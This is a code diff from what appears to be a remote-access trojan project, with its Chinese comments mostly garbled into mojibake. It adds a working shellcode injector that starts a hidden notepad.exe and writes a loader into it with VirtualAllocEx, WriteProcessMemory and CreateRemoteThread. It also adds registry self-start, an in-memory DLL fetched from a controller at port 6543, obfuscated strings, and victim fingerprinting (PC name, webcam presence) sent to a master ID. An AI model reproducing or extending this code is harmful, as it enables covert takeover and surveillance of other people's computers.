printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str()); Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
return vname; return vname;
} }
DWORD dwMajor, dwMinor, dwBuildNumber; DWORD dwMajor, dwMinor, dwBuildNumber;
@@ -57,13 +58,13 @@ std::string getSystemName()
if (dwMajor == 6 && dwMinor == 3) //win 8.1 if (dwMajor == 6 && dwMinor == 3) //win 8.1
{ {
vname = "Windows 8.1"; vname = "Windows 8.1";
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str()); Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
return vname; return vname;
} }
if (dwMajor == 10 && dwMinor == 0) //win 10 if (dwMajor == 10 && dwMinor == 0) //win 10
{ {
vname = "Windows 10"; vname = "Windows 10";
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str()); Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
return vname; return vname;
} }
//<2F><><EFBFBD><EFBFBD><E6B2BB><EFBFBD>ж<EFBFBD>Win Server<65><72><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>˻<EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ<CFB5>Ļ<EFBFBD><C4BB>ӣ<EFBFBD><D3A3><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //<2F><><EFBFBD><EFBFBD><E6B2BB><EFBFBD>ж<EFBFBD>Win Server<65><72><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>˻<EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ<CFB5>Ļ<EFBFBD><C4BB>ӣ<EFBFBD><D3A3><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@ -141,10 +142,10 @@ std::string getSystemName()
default: default:
vname = "δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ"; vname = "δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ";
} }
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str()); Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
} }
else else
printf_s("<EFBFBD><EFBFBD><EFBFBD>ȡʧ<EFBFBD><EFBFBD>\n"); Mprintf("<EFBFBD><EFBFBD><EFBFBD>ȡʧ<EFBFBD><EFBFBD>\n");
return vname; return vname;
} }
@@ -178,7 +179,7 @@ std::string getProcessTime() {
return buffer; return buffer;
} }
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, int nType) LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
{ {
LOGIN_INFOR LoginInfor; LOGIN_INFOR LoginInfor;
LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼ LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
@@ -194,12 +195,17 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, int nType)
BOOL bWebCamIsExist = WebCamIsExist(); BOOL bWebCamIsExist = WebCamIsExist();
memcpy(LoginInfor.szPCName,szPCName,MAX_PATH); memcpy(LoginInfor.szPCName,szPCName,sizeof(LoginInfor.szPCName));
LoginInfor.dwSpeed = dwSpeed; LoginInfor.dwSpeed = dwSpeed;
LoginInfor.dwCPUMHz = dwCPUMHz; LoginInfor.dwCPUMHz = dwCPUMHz;
LoginInfor.bWebCamIsExist = bWebCamIsExist; LoginInfor.bWebCamIsExist = bWebCamIsExist;
strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str()); strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
sprintf_s(LoginInfor.szReserved, "%s", GetClientType(nType)); sprintf_s(LoginInfor.szReserved, "%s", GetClientType(conn.ClientType()));
bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 ||
strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
std::string masterHash(skCrypt(MASTER_HASH));
const char* id = isDefault ? masterHash.c_str() : conn.szFlag;
memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16));
return LoginInfor; return LoginInfor;
} }

View File

@@ -5,6 +5,6 @@
#pragma comment(lib,"Vfw32.lib") #pragma comment(lib,"Vfw32.lib")
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, int nType); LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS &conn);
DWORD CPUClockMHz(); DWORD CPUClockMHz();
BOOL WebCamIsExist(); BOOL WebCamIsExist();

View File

@@ -424,7 +424,7 @@ PerformBaseRelocation(PMEMORYMODULE module, ptrdiff_t delta)
#endif #endif
default: default:
//printf("Unknown relocation: %d\n", type); // Mprintf("Unknown relocation: %d\n", type);
break; break;
} }
} }
@@ -1180,7 +1180,7 @@ BOOL MemoryModuleTestsuite() {
const uintptr_t* tests = AlignValueDownTests[idx]; const uintptr_t* tests = AlignValueDownTests[idx];
uintptr_t value = AlignValueDown(tests[0], tests[1]); uintptr_t value = AlignValueDown(tests[0], tests[1]);
if (value != tests[2]) { if (value != tests[2]) {
printf("AlignValueDown failed for 0x%" PRIxPTR "/0x%" PRIxPTR ": expected 0x%" PRIxPTR ", got 0x%" PRIxPTR "\n", Mprintf("AlignValueDown failed for 0x%" PRIxPTR "/0x%" PRIxPTR ": expected 0x%" PRIxPTR ", got 0x%" PRIxPTR "\n",
tests[0], tests[1], tests[2], value); tests[0], tests[1], tests[2], value);
success = FALSE; success = FALSE;
} }
@@ -1189,13 +1189,13 @@ BOOL MemoryModuleTestsuite() {
const uintptr_t* tests = AlignValueUpTests[idx]; const uintptr_t* tests = AlignValueUpTests[idx];
uintptr_t value = AlignValueUp(tests[0], tests[1]); uintptr_t value = AlignValueUp(tests[0], tests[1]);
if (value != tests[2]) { if (value != tests[2]) {
printf("AlignValueUp failed for 0x%" PRIxPTR "/0x%" PRIxPTR ": expected 0x%" PRIxPTR ", got 0x%" PRIxPTR "\n", Mprintf("AlignValueUp failed for 0x%" PRIxPTR "/0x%" PRIxPTR ": expected 0x%" PRIxPTR ", got 0x%" PRIxPTR "\n",
tests[0], tests[1], tests[2], value); tests[0], tests[1], tests[2], value);
success = FALSE; success = FALSE;
} }
} }
if (success) { if (success) {
printf("OK\n"); Mprintf("OK\n");
} }
return success; return success;
} }

72921
client/SCLoader.cpp Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
// //
VS_VERSION_INFO VERSIONINFO VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,0,8 FILEVERSION 1,0,0,9
PRODUCTVERSION 1,0,0,1 PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL FILEFLAGSMASK 0x3fL
#ifdef _DEBUG #ifdef _DEBUG
@@ -106,7 +106,7 @@ BEGIN
BEGIN BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST" VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.0.8" VALUE "FileVersion", "1.0.0.9"
VALUE "InternalName", "ServerDll.dll" VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2025" VALUE "LegalCopyright", "Copyright (C) 2019-2025"
VALUE "OriginalFilename", "ServerDll.dll" VALUE "OriginalFilename", "ServerDll.dll"

184
client/ShellcodeInj.h Normal file
View File

@@ -0,0 +1,184 @@
#pragma once
#include "StdAfx.h"
#include <string>
#include <iostream>
#include <tlhelp32.h>
// A shell code loader connect to 127.0.0.1:6543.
#include "SCLoader.cpp"
BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID userData, DWORD userLength,
DWORD flags, LPSTR& outBytes, DWORD& outLength);
// A shell code injector.
class ShellcodeInj
{
public:
// Return the process id if inject succeed.
int InjectProcess(const char* processName = nullptr) {
if (processName) {
auto pid = GetProcessIdByName(processName);
if (pid ? InjectShellcode(pid, (BYTE*)Loader, sizeof(Loader)) : false)
return pid;
}
PROCESS_INFORMATION pi = {};
STARTUPINFO si = { sizeof(STARTUPINFO) };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE; // hide the window
if (CreateProcess(NULL, "\"notepad.exe\"", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return InjectShellcode(pi.dwProcessId, (BYTE*)Loader, sizeof(Loader)) ? pi.dwProcessId : 0;
}
return 0;
}
private:
// Find process id by name.
DWORD GetProcessIdByName(const std::string& procName) {
DWORD pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap != INVALID_HANDLE_VALUE) {
PROCESSENTRY32 pe32 = { sizeof(pe32) };
if (Process32First(hSnap, &pe32)) {
do {
if (_stricmp(pe32.szExeFile, procName.c_str()) == 0) {
pid = pe32.th32ProcessID;
break;
}
} while (Process32Next(hSnap, &pe32));
}
CloseHandle(hSnap);
}
return pid;
}
// Check if the process is 64bit.
bool IsProcess64Bit(HANDLE hProcess, BOOL& is64Bit)
{
BOOL bWow64 = FALSE;
typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS2)(HANDLE, USHORT*, USHORT*);
HMODULE hKernel = GetModuleHandleA("kernel32.dll");
LPFN_ISWOW64PROCESS2 fnIsWow64Process2 = hKernel ?
(LPFN_ISWOW64PROCESS2)::GetProcAddress(hKernel, "IsWow64Process2") : nullptr;
if (fnIsWow64Process2)
{
USHORT processMachine = 0, nativeMachine = 0;
if (fnIsWow64Process2(hProcess, &processMachine, &nativeMachine))
{
is64Bit = (processMachine == IMAGE_FILE_MACHINE_UNKNOWN) && (nativeMachine == IMAGE_FILE_MACHINE_AMD64);
return true;
}
}
else
{
// Old system use IsWow64Process
if (IsWow64Process(hProcess, &bWow64))
{
is64Bit = sizeof(void*) == 8 ? TRUE : !bWow64;
return true;
}
}
return false;
}
// Check if it's able to inject.
HANDLE CheckProcess(DWORD pid) {
HANDLE hProcess = OpenProcess(
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, pid);
if (!hProcess) {
Mprintf("OpenProcess failed. PID: %d\n", pid);
return nullptr;
}
// Check process and system architecture.
BOOL targetIs64Bit = FALSE;
BOOL success = IsProcess64Bit(hProcess, targetIs64Bit);
if (!success) {
Mprintf("Get architecture failed \n");
CloseHandle(hProcess);
return nullptr;
}
const BOOL selfIs64Bit = sizeof(void*) == 8;
if (selfIs64Bit != targetIs64Bit) {
Mprintf("[Unable inject] Injector is %s, Target process is %s\n",
(selfIs64Bit ? "64bit" : "32bit"), (targetIs64Bit ? "64bit" : "32bit"));
CloseHandle(hProcess);
return nullptr;
}
return hProcess;
}
bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength) {
if (originBuffer[0] == 'M' && originBuffer[1] == 'Z') {
LPSTR finalShellcode = NULL;
DWORD finalSize;
if (!ConvertToShellcode(originBuffer, ulOriginalLength, NULL, NULL, 0, 0x1, finalShellcode, finalSize)) {
return false;
}
compressedBuffer = new BYTE[finalSize];
ulTotalSize = finalSize;
memcpy(compressedBuffer, finalShellcode, finalSize);
free(finalShellcode);
return true;
}
return false;
}
// Inject shell code to target process.
bool InjectShellcode(DWORD pid, const BYTE* pDllBuffer, int dllSize) {
HANDLE hProcess = CheckProcess(pid);
if (!hProcess)
return false;
// Convert DLL -> Shell code.
LPBYTE shellcode = NULL;
int len = 0;
if (!MakeShellcode(shellcode, len, (LPBYTE)pDllBuffer, dllSize)) {
Mprintf("MakeShellcode failed \n");
CloseHandle(hProcess);
return false;
}
LPVOID remoteBuffer = VirtualAllocEx(hProcess, nullptr, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!remoteBuffer) {
Mprintf("VirtualAllocEx failed \n");
CloseHandle(hProcess);
return false;
}
if (!WriteProcessMemory(hProcess, remoteBuffer, shellcode, len, nullptr)) {
Mprintf("WriteProcessMemory failed \n");
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(hProcess);
delete[] shellcode;
return false;
}
delete[] shellcode;
// Shell code entry.
LPTHREAD_START_ROUTINE entry = reinterpret_cast<LPTHREAD_START_ROUTINE>(reinterpret_cast<ULONG_PTR>(remoteBuffer));
HANDLE hThread = CreateRemoteThread(hProcess, nullptr, 0, entry, remoteBuffer, 0, nullptr);
if (!hThread) {
Mprintf("CreateRemoteThread failed \n");
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(hProcess);
return false;
}
WaitForSingleObject(hThread, INFINITE);
Mprintf("Finish injecting to PID: %d\n", pid);
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return true;
}
};

Binary file not shown.

View File

@@ -154,12 +154,14 @@
</Link> </Link>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemGroup> <ItemGroup>
<ClCompile Include="Loader.cpp" />
<ClCompile Include="MemoryModule.c" /> <ClCompile Include="MemoryModule.c" />
<ClCompile Include="test.cpp" /> <ClCompile Include="test.cpp" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="MemoryModule.h" /> <ClInclude Include="MemoryModule.h" />
<ClInclude Include="resource1.h" /> <ClInclude Include="resource1.h" />
<ClInclude Include="ShellcodeInj.h" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ResourceCompile Include="TestRun.rc" /> <ResourceCompile Include="TestRun.rc" />

View File

@@ -5,6 +5,7 @@
#include "common/commands.h" #include "common/commands.h"
#include "StdAfx.h" #include "StdAfx.h"
#include "MemoryModule.h" #include "MemoryModule.h"
#include "ShellcodeInj.h"
#include <WS2tcpip.h> #include <WS2tcpip.h>
#pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "ws2_32.lib")
@@ -28,7 +29,11 @@ IsExit bExit = NULL;
BOOL status = 0; BOOL status = 0;
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_MEMDLL }; #ifdef _DEBUG
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, 0, Startup_InjSC };
#else
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, 0, Startup_InjSC };
#endif
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8> //<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
void DebugPrivilege() void DebugPrivilege()
@@ -140,7 +145,7 @@ public:
// Memory DLL runner. // Memory DLL runner.
class MemoryDllRunner : public DllRunner { class MemoryDllRunner : public DllRunner {
private: protected:
HMEMORYMODULE m_mod; HMEMORYMODULE m_mod;
std::string GetIPAddress(const char* hostName) std::string GetIPAddress(const char* hostName)
{ {
@@ -169,8 +174,7 @@ private:
} }
public: public:
MemoryDllRunner() : m_mod(nullptr){} MemoryDllRunner() : m_mod(nullptr){}
// Request DLL from the master. virtual const char* ReceiveDll(int &size) {
virtual void* LoadLibraryA(const char* path) {
WSADATA wsaData = {}; WSADATA wsaData = {};
if (WSAStartup(MAKEWORD(2, 2), &wsaData)) if (WSAStartup(MAKEWORD(2, 2), &wsaData))
return nullptr; return nullptr;
@@ -227,18 +231,25 @@ public:
continue; continue;
} }
BYTE cmd = ptr[0], type = ptr[1]; BYTE cmd = ptr[0], type = ptr[1];
int size = 0; size = 0;
memcpy(&size, ptr + 2, sizeof(int)); memcpy(&size, ptr + 2, sizeof(int));
if (totalReceived != size + 6 + sizeof(PkgHeader)) { if (totalReceived != size + 6 + sizeof(PkgHeader)) {
continue; continue;
} }
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
closesocket(clientSocket); closesocket(clientSocket);
} while (false); } while (false);
SAFE_DELETE_ARRAY(buffer);
WSACleanup(); WSACleanup();
return buffer;
}
// Request DLL from the master.
virtual void* LoadLibraryA(const char* path) {
int size = 0;
auto buffer = ReceiveDll(size);
if (nullptr == buffer)
return nullptr;
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
SAFE_DELETE_ARRAY(buffer);
return m_mod; return m_mod;
} }
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) { virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) {
@@ -259,11 +270,39 @@ int main(int argc, const char *argv[])
{ {
if(!SetSelfStart(argv[0], REG_NAME)) if(!SetSelfStart(argv[0], REG_NAME))
{ {
std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n"; Mprintf("<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
} }
status = 0; status = 0;
SetConsoleCtrlHandler(&callback, TRUE); SetConsoleCtrlHandler(&callback, TRUE);
// <20><> Shell code <20><><EFBFBD>ӱ<EFBFBD><D3B1><EFBFBD>6543<34>˿ڣ<CBBF>ע<EFBFBD><EFBFBD><EBB5BD><EFBFBD>±<EFBFBD>
if (g_ConnectAddress.iStartup == Startup_InjSC)
{
// Try to inject shell code to `notepad.exe`
// If failed then run memory DLL
ShellcodeInj inj;
int pid = 0;
do {
if (sizeof(void*) == 4) // Shell code is 64bit
break;
if (!(pid = inj.InjectProcess(nullptr))) {
break;
}
HANDLE hProcess = OpenProcess(SYNCHRONIZE, FALSE, pid);
if (hProcess == NULL) {
break;
}
Mprintf("Inject process [%d] succeed.\n", pid);
DWORD waitResult = WaitForSingleObject(hProcess, INFINITE);
CloseHandle(hProcess);
Mprintf("Process [%d] is finished.\n", pid);
} while (pid);
}
if (g_ConnectAddress.iStartup == Startup_InjSC) {
g_ConnectAddress.iStartup = Startup_MEMDLL;
}
do { do {
BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()), BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort())); argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()));
@@ -315,7 +354,20 @@ BOOL Run(const char* argv1, int argv2) {
Mprintf("Using new file: %s\n", newFile.c_str()); Mprintf("Using new file: %s\n", newFile.c_str());
} }
} }
DllRunner* runner = g_ConnectAddress.iType ? (DllRunner*) new MemoryDllRunner : new DefaultDllRunner; DllRunner* runner = nullptr;
switch (g_ConnectAddress.iStartup)
{
case Startup_DLL:
runner = new DefaultDllRunner;
break;
case Startup_MEMDLL:
runner = new MemoryDllRunner;
break;
default:
ExitProcess(-1);
break;
}
void* hDll = runner->LoadLibraryA(path); void* hDll = runner->LoadLibraryA(path);
typedef void (*TestRun)(char* strHost, int nPort); typedef void (*TestRun)(char* strHost, int nPort);
TestRun run = hDll ? TestRun(runner->GetProcAddress(hDll, "TestRun")) : NULL; TestRun run = hDll ? TestRun(runner->GetProcAddress(hDll, "TestRun")) : NULL;

View File

@@ -61,6 +61,7 @@ typedef void* LPVOID, * HANDLE;
#include <string> #include <string>
#include <vector> #include <vector>
#include <time.h> #include <time.h>
#include <unordered_map>
#ifndef _MAX_PATH #ifndef _MAX_PATH
#define _MAX_PATH 260 #define _MAX_PATH 260
@@ -72,6 +73,9 @@ typedef void* LPVOID, * HANDLE;
#define FLAG_GHOST FLAG_FINDEN #define FLAG_GHOST FLAG_FINDEN
// <20><><EFBFBD>س<EFBFBD><D8B3><EFBFBD>Ψһ<CEA8><D2BB>ʶ
#define MASTER_HASH "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43"
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD>仯ʱ<E4BBAF><CAB1>Ӧ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Ա<EFBFBD><D4B1>Ա<EFBFBD><D4B1>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD>仯ʱ<E4BBAF><CAB1>Ӧ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Ա<EFBFBD><D4B1>Ա<EFBFBD><D4B1>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#define DLL_VERSION __DATE__ // DLL<4C> #define DLL_VERSION __DATE__ // DLL<4C>
@@ -265,6 +269,59 @@ inline const char* GetClientType(int typ) {
} }
} }
inline int compareDates(const std::string& date1, const std::string& date2) {
static const std::unordered_map<std::string, int> monthMap = {
{"Jan", 1}, {"Feb", 2}, {"Mar", 3}, {"Apr", 4}, {"May", 5}, {"Jun", 6},
{"Jul", 7}, {"Aug", 8}, {"Sep", 9}, {"Oct",10}, {"Nov",11}, {"Dec",12}
};
auto parse = [&](const std::string& date) -> std::tuple<int, int, int> {
int month = monthMap.at(date.substr(0, 3));
int day = std::stoi(date.substr(4, 2));
int year = std::stoi(date.substr(7, 4));
return { year, month, day };
};
try {
auto t1 = parse(date1);
auto t2 = parse(date2);
int y1 = std::get<0>(t1), m1 = std::get<1>(t1), d1 = std::get<2>(t1);
int y2 = std::get<0>(t2), m2 = std::get<1>(t2), d2 = std::get<2>(t2);
if (y1 != y2) return y1 < y2 ? -1 : 1;
if (m1 != m2) return m1 < m2 ? -1 : 1;
if (d1 != d2) return d1 < d2 ? -1 : 1;
return 0;
}
catch (const std::exception& e) {
std::cerr << "Date parse error: " << e.what() << std::endl;
return -2; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
}
}
// <20><>ö<EFBFBD><C3B6>ֵ<EFBFBD><D6B5>ClientType<70><65><EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD>ֲ<EFBFBD><D6B2><EFBFBD><EFBFBD><EFBFBD>ȫһ<C8AB>£<EFBFBD>רΪ`TestRun`<60><><EFBFBD><EFBFBD>
// ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>`ServerDll`<60><><EFBFBD><EFBFBD>ʽ
// `TestRun` ֻ<><D6BB><EFBFBD>ڼ<EFBFBD><DABC><EFBFBD><EFBFBD>о<EFBFBD>Ŀ<EFBFBD><C4BF>
enum TestRunType {
Startup_DLL, // <20><><EFBFBD><EFBFBD>DLL
Startup_MEMDLL, // <20>ڴ<EFBFBD>DLL<4C><4C><EFBFBD>޴<EFBFBD><DEB4><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
Startup_InjDLL, // Զ<><D4B6>ע<EFBFBD><D7A2> DLL<4C><4C>ע<EFBFBD><D7A2>DLL·<4C><C2B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C>
Startup_Shellcode, // <20><><EFBFBD><EFBFBD> Shell code <20><><EFBFBD>ڵ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>shell code <20><>
Startup_InjSC, // Զ<><D4B6> Shell code <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>shell code <20><>
};
inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize)
{
for (int i = 0; i < iBufferSize - iKeySize; ++i)
{
if (0 == memcmp(szBuffer + i, Key, iKeySize))
{
return i;
}
}
return -1;
}
// <20><><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD>Ϣ // <20><><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD>Ϣ
typedef struct CONNECT_ADDRESS typedef struct CONNECT_ADDRESS
{ {
@@ -276,7 +333,8 @@ public:
bool bEncrypt; bool bEncrypt;
char szBuildDate[12]; char szBuildDate[12];
int iMultiOpen; int iMultiOpen;
char szReserved[134]; // ռλ<EFBFBD><EFBFBD>ʹ<EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><EFBFBD>300<EFBFBD>ֽ<EFBFBD> int iStartup; // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ
char szReserved[130]; // ռλ<D5BC><CEBB>ʹ<EFBFBD><EFBFBD><E1B9B9>ռ<EFBFBD><D5BC>300<30>ֽ<EFBFBD>
public: public:
void SetType(int typ) { void SetType(int typ) {
@@ -285,6 +343,12 @@ public:
const void* Flag() const { const void* Flag() const {
return szFlag; return szFlag;
} }
CONNECT_ADDRESS ModifyFlag(const char* flag) const {
CONNECT_ADDRESS copy = *this;
memset(copy.szFlag, 0, sizeof(szFlag));
memcpy(copy.szFlag, flag, strlen(flag));
return copy;
}
int FlagLen() const { int FlagLen() const {
return strlen(szFlag); return strlen(szFlag);
} }
@@ -297,11 +361,16 @@ public:
int ClientType()const { int ClientType()const {
return iType; return iType;
} }
void SetServer(const char* ip, int port) { // return true if modified
if (ip && strlen(ip) && port > 0) { bool SetServer(const char* ip, int port, bool e = false) {
if (ip == NULL || strlen(ip) <= 0 || port <= 0)
return false;
bool modified = bEncrypt != e || strcmp(ServerIP(), ip) != 0 || port != ServerPort();
bEncrypt = e;
strcpy_s(szServerIP, ip); strcpy_s(szServerIP, ip);
sprintf_s(szPort, "%d", port); sprintf_s(szPort, "%d", port);
}
return modified;
} }
bool IsValid()const { bool IsValid()const {
return strlen(szServerIP) != 0 && atoi(szPort) > 0; return strlen(szServerIP) != 0 && atoi(szPort) > 0;
@@ -339,7 +408,8 @@ typedef struct LOGIN_INFOR
char OsVerInfoEx[156]; // 2.<2E><EFBFBD><E6B1BE>Ϣ char OsVerInfoEx[156]; // 2.<2E><EFBFBD><E6B1BE>Ϣ
unsigned int dwCPUMHz; // 3.CPU<50><55>Ƶ unsigned int dwCPUMHz; // 3.CPU<50><55>Ƶ
char moduleVersion[24]; // 4.DLLģ<4C><C4A3><EFBFBD> char moduleVersion[24]; // 4.DLLģ<4C><C4A3><EFBFBD>
char szPCName[_MAX_PATH]; // 5.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> char szPCName[240]; // 5.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
char szMasterID[20]; // 5.1 <20><><EFBFBD><EFBFBD>ID
int bWebCamIsExist; // 6.<2E>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ int bWebCamIsExist; // 6.<2E>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
unsigned int dwSpeed; // 7.<2E><><EFBFBD><EFBFBD> unsigned int dwSpeed; // 7.<2E><><EFBFBD><EFBFBD>
